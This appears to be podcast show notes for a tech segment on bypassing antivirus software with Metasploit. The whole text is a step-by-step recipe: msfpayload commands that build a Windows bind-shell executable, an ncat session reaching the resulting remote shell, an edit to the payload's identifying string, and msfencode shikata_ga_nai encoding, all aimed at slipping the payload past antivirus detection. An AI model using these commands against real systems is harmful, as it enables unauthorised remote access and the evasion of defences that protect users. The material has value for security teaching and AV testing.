Episode125

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Tech Segment: Bypassing Anti-Virus Software The Script-Kiddie Way

Pass #1 - Metasploit 3.1-release Payload - Unmodified

msfpayload windows/shell_bind_tcp LPORT=6453 X > payload.exe

The above command produces a windows binary that listens on TCP port 6453 for a remote shell. You can access the remote shell using netcat as follows:

funnyhostname:~ pdc$ ncat 192.168.169.40 6453
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>


"Reverse Engineering The Payload"

bash-3.2# strings payload.exe 
!This program cannot be run in DOS mode.
.text
.rdata
@.data
.bss
.idata
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_bind_tcp
 Length: 317
Options: LPORT=6453

Pass #2 - Metasploit Payload - Changed Version String

Editing msfpayload to change the version string:

 
if (cmd =~ /^x/)
                note =
                        "PaulDotCom's Evil Payload\n" +
                        "Payload: " + payload.refname + "\n" +
                        " Length: " + buf.length.to_s + "\n" +
                        "Options: " + options + "\n"

Pass #3 - Metasploit Payload Encoded With Shikata Ga Nai

msfencode x86/shikata_ga_nai -i svn-payload.exe -t exe > svn-encode-payload.exe